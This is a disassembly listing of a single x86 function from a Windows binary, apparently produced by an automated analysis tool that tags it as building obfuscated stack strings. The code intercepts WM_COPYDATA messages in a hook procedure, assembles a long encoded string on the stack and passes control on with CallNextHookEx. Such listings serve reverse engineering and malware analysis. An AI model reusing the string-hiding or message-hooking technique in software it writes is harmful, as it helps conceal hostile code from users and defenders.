Function at 0x1101dd88
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd14
mov eax, 0x1104cd3c
call fcn.1101f1ae
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.11021a60
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.11012d3e
push eax
lea ecx, [ebp - 0xc80]
call fcn.1100fcac
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1101e09b
cmp dword [edi + 8], 0x4a
jne 0x1101e09b
mov esi, dword [edi]
test esi, esi
je 0x1101e09b
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1101e08d
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
mov ecx, 0x30a
mov dword [ebp - 0xd0c], 0x7030434a
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xb53]
mov dword [ebp - 0xd08], 0x67633244
push eax
lea eax, [ebp - 0xc7c]
mov dword [ebp - 0xd04], 0x77773342
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd00], 0x6d6f5748
mov ecx, esp
mov dword [ebp - 0xcfc], 0x53345342
lea eax, [ebp - 0xc80]
mov dword [ebp - 0xcf8], 0x4c777748
mov dword [ebp - 0xcf4], 0x53304349
push dword [ebp - 0xd10]
mov dword [ebp - 0xcf0], 0x59307a59
push eax
mov dword [ebp - 0xcec], 0x48304244
lea eax, [ebp - 0xd0c]
mov dword [ebp - 0xce8], 0x6c6f7948
mov dword [ebp - 0xce4], 0x4f41674c
mov dword [ebp - 0xce0], 0x6759584b
mov dword [ebp - 0xcdc], 0x30463250
mov dword [ebp - 0xcd8], 0x386b534c
mov dword [ebp - 0xcd4], 0x4234784a
mov dword [ebp - 0xcd0], 0x7077684e
mov dword [ebp - 0xccc], 0x6263794c
mov dword [ebp - 0xcc8], 0x3873425a
mov dword [ebp - 0xcc4], 0x31685744
mov dword [ebp - 0xcc0], 0x6259785a
mov dword [ebp - 0xcbc], 0x68684848
mov dword [ebp - 0xcb8], 0x68774141
mov dword [ebp - 0xcb4], 0x526f5762
mov dword [ebp - 0xcb0], 0x46557a4f
mov dword [ebp - 0xcac], 0x52384361
mov dword [ebp - 0xca8], 0x66497859
mov dword [ebp - 0xca4], 0x45454342
mov dword [ebp - 0xca0], 0x56515445
mov dword [ebp - 0xc9c], 0x68456d48
mov dword [ebp - 0xc98], 0x4938514f
mov dword [ebp - 0xc94], 0x79304848
mov dword [ebp - 0xc90], 0x5634694e
mov dword [ebp - 0xc8c], 0x6e304346
mov dword [ebp - 0xc88], 0x41776e46
mov dword [ebp - 0xc84], 0x5a424141
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1100f4ff
lea eax, [ebp - 0xd20]
push eax
call fcn.11012388
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1101c9c5
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.1101282d
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd20]
call fcn.1101c80d
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.11021a60
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.1100fe25
lea ecx, [ebp - 0x50]
call fcn.1100fefb
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.11010dbb
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.11010dbb
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.11010dbb
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xd10], esp
push esi
call fcn.1100fe25
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1100fd97
mov byte [ebp - 4], 3
call fcn.110180af
add esp, 0xc
call fcn.110297aa
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1101e080
lea eax, [ebp - 0x50]
push eax
call fcn.11016c81
pop ecx
lea ecx, [ebp - 0x50]
call fcn.11010a44
lea ecx, [esi - 0x10]
jmp 0x1101e0b2
cmp eax, 0x4d835
jne 0x1101e09b
push ebx
call fcn.1101b1fd
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.1101695d
call fcn.1101f0fb
ret 0xc